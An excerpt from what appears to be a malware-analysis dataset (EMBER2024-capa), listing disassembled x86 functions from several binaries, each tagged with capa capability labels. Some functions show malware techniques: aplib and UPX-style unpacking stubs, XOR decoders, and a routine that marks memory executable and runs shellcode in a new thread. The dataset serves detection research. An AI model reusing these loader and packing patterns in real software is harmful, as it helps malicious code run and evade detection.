joyce8/EMBER2024-capa huggingface dataset:
Function at 0x222f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0222f1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x222f07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x222f06a
add dl, dl
jne 0x222f089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x222f0dc
xor eax, eax
add dl, dl
jne 0x222f096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x222f17d
add dl, dl
jne 0x222f0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x222f0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x222f0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x222f0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x222f0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x222f075
mov eax, 1
add dl, dl
jne 0x222f0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x222f0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x222f0e1
sub eax, ebx
mov ebx, 1
jne 0x222f128
mov ecx, 1
add dl, dl
jne 0x222f10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x222f119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x222f105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x222f075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x222f13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x222f14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x222f136
cmp eax, 0x7d00
jae 0x222f16d
cmp eax, 0x500
jb 0x222f168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x222f075
cmp eax, 0x7f
ja 0x222f170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x222f075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x222f19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x222f075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x41ad50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x411015
lea edi, [esi - 0x10015]
push edi
or ebp, 0xffffffff
jmp 0x41ad72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41ad79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41ad68
mov eax, 1
add ebx, ebx
jne 0x41ad8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41ad80
jne 0x41ad9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ad80
xor ecx, ecx
sub eax, 3
jb 0x41adb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ae22
mov ebp, eax
add ebx, ebx
jne 0x41adbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41adc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41adec
inc ecx
add ebx, ebx
jne 0x41add8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41adcd
jne 0x41ade9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41adcd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ae0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41adfd
jmp 0x41ad6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ae0c
add edi, ecx
jmp 0x41ad6e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ae2a
cmp byte [edi], 5
jne 0x41ae2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ae2f
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x41aea7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a094]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ae5c
mov ecx, edi
jns 0x41ae8b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a09c]
or eax, eax
je 0x41aea1
mov dword [ebx], eax
add ebx, 4
jmp 0x41ae79
call dword [esi + 0x1a098]
mov ebp, dword [esi + 0x1a0a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41aedb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x408952
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4085d8
or esi, eax
call fcn.00408974
xor dword [edx], edi
add esi, 0x2230a125
dec esi
inc edx
cmp edx, ebx
jne fcn.00408952
ret
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401950
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411610
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x418014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
movq qword [ebp - 0x50], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, dword [esi + 0x10]
sub eax, 0
je 0x401a54
sub eax, 1
je 0x4019ab
mov eax, 8
jmp 0x401b48
lea edx, [esi + 0x40]
lea ecx, [ebp - 0x44]
call fcn.00401b70
cmp dword [ebp - 0x30], 8
lea eax, [ebp - 0x44]
push 0
cmovae eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
mov edx, dword [ebp - 0x30]
test eax, eax
jne 0x401a14
cmp edx, 8
jb 0x401a0a
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401a00
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a00
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004102b1
add esp, 8
mov eax, 4
jmp 0x401b48
cmp edx, 8
jb 0x401a4d
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401a43
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a43
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004102b1
add esp, 8
xor eax, eax
jmp 0x401b48
push 0
push 0
push 1
push 0
mov byte [esi + 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 8], eax
test eax, eax
jne 0x401a77
mov eax, 2
jmp 0x401b48
lea edx, [esi + 0x40]
lea ecx, [ebp - 0x2c]
call fcn.00401b70
lea ecx, [esi + 0x70]
mov dword [ebp - 4], 2
lea eax, [ebp - 0x2c]
cmp ecx, eax
je 0x401aa4
cmp dword [ebp - 0x18], 8
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00401eb0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push 0x3e8
push 0
push 0
push 1
push 0xe
push 0x80003
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov dword [esi + 0x2c], eax
mov eax, dword [ebp - 0x4c]
test eax, eax
je 0x401adb
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [esi + 0x2c], 0xffffffff
jne 0x401af3
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [eax - 5]
neg esi
sbb esi, esi
add esi, 3
jmp 0x401b0a
push dword [esi + 8]
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push esi
call fcn.00401290
mov esi, eax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x401b46
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401b3c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401b3c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004102b1
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00410270
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401c60
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x418014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
push esi
mov dword [ebp - 0x10], eax
xor esi, esi
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x401d55
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 0x190000
push 3
push esi
push 3
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401cf0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x401d40
push dword [ebp + 0x20]
push ebx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
test eax, eax
je 0x401d40
push esi
push 0x190000
push 3
push esi
push 3
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401d40
push edi
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 3
jne 0x401d34
push 0
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 2
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
je 0x401d34
push 0
push dword [ebp - 0xc]
push 0x40c
push dword [ebp - 0x10]
push 0x410
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
mov esi, eax
cmp edi, 0xffffffff
je 0x401d40
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00410270
mov esp, ebp
pop ebp
ret 0x20
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00410270
mov esp, ebp
pop ebp
ret 0x20
Function at 0x404cb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411ad0
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x418014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push 0
push 0
push 1
push 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], 0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 0
mov eax, dword [edi + 8]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], esi
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x14], eax
cmp esi, 0xffffffff
je 0x404e1d
mov ebx, dword [ebp + 0xc]
nop dword [eax]
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
push dword [ebp - 0x38]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x404df8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x404dcb
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x18]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x404d7a
sub eax, 1
je 0x404e4c
jmp 0x404d30
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x404df8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x404e4c
push 0
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x6c]
call fcn.0040e5e8
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x54]
call fcn.004045c0
push 0x416240
jmp 0x404e59
cmp eax, 0x6d
je 0x404e4c
push 0
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x6c]
call fcn.0040e5e8
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x54]
call fcn.004045c0
push 0x416240
jmp 0x404e59
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410270
mov esp, ebp
pop ebp
ret 8
push 0
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x6c]
call fcn.0040e5e8
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x54]
call fcn.004045c0
push 0x416240
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
lea ecx, [ebp - 0x54]
call fcn.00404650
push 0x416208
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x404ef0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411b38
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x418014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
je 0x405056
push 0
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push 1
push 0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 0
mov eax, dword [edi + 8]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], esi
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x14], eax
cmp esi, 0xffffffff
je 0x40506c
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
push dword [ebp - 0x38]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x404fce
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x404ff3
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x18]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x404fbb
sub eax, 1
jne 0x404f76
jmp 0x405056
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410270
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe8
je 0x40503e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe9
je 0x40503e
push 0
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x6c]
call fcn.0040e5e8
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x88]
call fcn.004045c0
push 0x416240
lea eax, [ebp - 0x88]
jmp 0x405066
lea ecx, [ebp - 0x88]
call fcn.00404650
push 0x416208
lea eax, [ebp - 0x88]
jmp 0x405066
lea ecx, [ebp - 0x54]
call fcn.00404650
push 0x416208
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push 0
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x6c]
call fcn.0040e5e8
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x54]
call fcn.004045c0
push 0x416240
lea eax, [ebp - 0x54]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x405e00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x418014]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push 0x17
push str.SOFTWAREPoliciesAdobe
lea ecx, [esp + 0x1c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0xf
mov byte [esp + 0x1c], 0
call fcn.0040b880
cmp dword [esp + 0x28], 0x10
lea ecx, [esp + 8]
push ecx
push 0x20019
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0
cmovae eax, dword [esp + 0x1c]
push 0
push eax
push 0x80000002
mov dword [esp + 0x24], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405e9b
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push str.ResetOutlookConnection
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esp + 0xc], 1
mov edx, dword [esp + 0x28]
sete bl
cmp edx, 0x10
jb 0x405edb
mov ecx, dword [esp + 0x14]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405ed1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405ed1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004102b1
add esp, 8
mov ecx, dword [esp + 0x2c]
mov al, bl
pop ebx
xor ecx, esp
call fcn.00410270
mov esp, ebp
pop ebp
ret
Function at 0x40fa64
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
xor eax, eax
push esi
push eax
push 1
push eax
push eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x40fa99
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
leave
ret
push str.unable_to_create_tls_index
lea ecx, [ebp - 0x1c]
call fcn.00404590
push 0x4161c4
lea eax, [ebp - 0x1c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x4100c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call fcn.00410281
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x4100dc
mov dword [eax], ecx
jmp 0x4100de
mov eax, ecx
push ecx
push ecx
push esi
push 0x410150
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x4033a0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x4057f0
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x4034c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
mov eax, dword [0x4070f0]
push esi
push edi
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x4034de
pop edi
pop esi
pop ecx
ret
mov ecx, dword [0x4070f0]
push ebx
push ebp
add edi, 0x4da90
push ecx
push edi
push esi
call fcn.00403450
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push str.VirtualProtect
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.CreateThread
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
lea edx, [esp + 0x10]
mov edi, eax
push edx
push 0x40
push 0x4da78
push esi
call ebp
push 0
push 0
push esi
push esi
push 0
push 0
call edi
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
pop ecx
ret

Function at 0x403570
Capabilities:
Create thread
Link many functions at runtime
Resolve dns

Disassembly:
mov eax, dword [0x407504]
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.socket
mov edi, ecx
push eax
call esi
push 6
push 1
push 2
call eax
cmp eax, 0xffffffff
mov dword [edi + 8], eax
jne 0x4035a4
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
push ebp
mov ecx, dword [0x407504]
push str.htons
push ecx
call esi
mov edx, dword [esp + 0x24]
mov ebx, eax
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
mov eax, dword [esp + 0x28]
push eax
mov word [esp + 0x14], 2
call ebx
mov word [esp + 0x12], ax
mov ecx, dword [ebp + 0xc]
push str.connect
mov edx, dword [ecx]
mov ecx, dword [0x407504]
push ecx
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
call esi
mov ecx, dword [edi + 8]
lea edx, [esp + 0x10]
push 0x10
push edx
push ecx
call eax
cmp eax, 0xffffffff
jne 0x40363b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ResetEvent
push str.KERNEL32.dll
call ebx
push eax
call esi
mov edx, dword [edi + 0xc]
push edx
call eax
push str.WaitForSingleObject
push str.KERNEL32.dll
call ebx
push eax
call esi
mov ecx, dword [edi + 0xc]
push 0x3e8
push ecx
call eax
jmp 0x4035a6
push 0
push 0
push edi
push 0x403660
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret 8
Function at 0x409554
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov bl, byte [edi + 1]
push edi
call fcn.004e76d8
pop ecx
mov esi, eax
mov edx, 2
lea eax, [edi + 2]
cmp esi, edx
jle 0x40957d
xor bl, byte [eax]
inc edx
inc eax
cmp esi, edx
jg 0x409575
movsx ecx, bl
push ecx
push str._02X
mov eax, dword [ebp + 0x10]
push eax
call fcn.004e9d10
add esp, 0xc
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4095a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x50a280
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
call fcn.004e7a1c
mov esi, str._PMTK60531_r_n
lea edi, [ebp - 0x38]
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov dword [ebp - 0x3c], eax
mov al, byte [ebx + 0x64c]
test al, al
jne 0x4095df
cmp dword [ebx + 0x634], 0
je 0x40963b
test al, al
je 0x40961c
mov word [ebp - 0x18], 8
lea edx, [ebp - 0x38]
lea eax, [ebp - 4]
call fcn.0050593c
inc dword [ebp - 0xc]
mov edx, dword [eax]
mov ecx, dword [ebx + 0x5f0]
mov eax, dword [ecx + 0x90]
call fcn.00459df4
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.005059f4
jmp 0x409634
lea ecx, [ebp - 0x3c]
push 0
push ecx
lea eax, [ebp - 0x38]
push 0xe
push eax
mov edx, dword [ebx + 0x634]
push edx
call sub.KERNEL32.DLL_WriteFile
push 0x64
call sub.KERNEL32.DLL_Sleep
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b1b8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov eax, 0x50a8d4
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
call fcn.004e7a1c
cmp dword [ebx + 0x648], 0
je 0x40b27f
xor edx, edx
lea edi, [ebp - 0x40]
mov dword [ebp - 0x2c], edx
mov eax, edi
mov esi, str.MAIN:RFLVL
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov word [ebp - 0x18], 8
xor edx, edx
mov dword [ebp - 4], edx
lea edx, [ebp - 4]
inc dword [ebp - 0xc]
mov eax, dword [ebp + 0xc]
call fcn.0046d364
cmp dword [ebp - 4], 0
je 0x40b211
mov ecx, dword [ebp - 4]
jmp 0x40b216
mov ecx, 0x50925e
push ecx
lea eax, [ebp - 0x40]
push eax
call fcn.004e769c
add esp, 8
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.005059f4
push 0x50925f
lea ecx, [ebp - 0x40]
push ecx
call fcn.004e769c
add esp, 8
push 0
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x40]
push edx
call fcn.004e76d8
pop ecx
push eax
lea ecx, [ebp - 0x40]
push ecx
mov eax, dword [ebx + 0x648]
push eax
call sub.KERNEL32.DLL_WriteFile
push 0x190
call sub.KERNEL32.DLL_Sleep
mov al, 1
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x40b28b
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret